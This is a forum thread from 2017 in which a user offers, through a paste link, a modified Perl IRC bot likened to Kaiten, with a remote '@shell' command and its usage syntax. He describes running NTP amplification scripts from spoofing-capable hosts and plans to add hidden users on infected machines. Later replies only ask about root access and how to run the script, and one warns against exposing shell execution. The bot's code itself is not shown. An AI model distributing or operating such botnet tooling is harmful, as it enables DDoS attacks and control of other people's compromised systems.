Thread: [Perl Bot Edit \(Working Perl Bot With Shell Command\)](#)

Longdog - May 7, 2017, 4:10 pm

Personal edit of an already working bot. Currently working on adding more to it. Just use your head and it will work. If you can't use it, then just msg me. Credits to whoever originally made this. Shell command is good for things such as running NTP scripts and such if whatever boxes you get happen to be able to spoof. Of course you can run anything. I am not responsible for any base64, i took a look and couldn't find anything of the sort so yea, but then again I was probably high so who knows lol. I personally don't care because its whatever. All Im saying is, do your own research if anal about it.

Bot: <https://paste.ee/p/NgOgx#aw62SwA2oWlISJqUdn5zLDNuWUd4fCgw>

I made this when bored and thought why not give back lol. Took literally under 1 min.

Also plan add command to drop a user without home directory so you can have your own little user so your scripts dont have to go on the user you infected.

Oh yea forgot to add comments on how to use it LOL!
!u @shell <command>

Example:
!u @shell ls

Longdog - May 13, 2017, 1:36 pm

Just boosting this as I know people are constantly looking for this.

int main() - May 14, 2017, 8:25 am

why would a bot in c require root privileges?
just wonderin

Longdog - May 14, 2017, 3:17 pm

just wonderin
Yea fixed it

Yardstick - May 14, 2017, 8:07 pm

If you're running shell commands to a specific box then create a secure function that does it correctly. Don't just erroneously allow users to execute shell commands on your boxes.

kig0 - May 16, 2017, 7:18 am

It is a perl script right? How will it be executable?

Nyx - May 19, 2017, 12:25 am

its a perl bot.
Think of Kaiten, its basically Kaiten written in perl.

Longdog - *May 19, 2017, 8:42 pm*

Its executable by doing perl filenamehere.pl

theunixchief - *September 6, 2017, 2:40 am*

thanks for sharing this bot shell i try to use them.
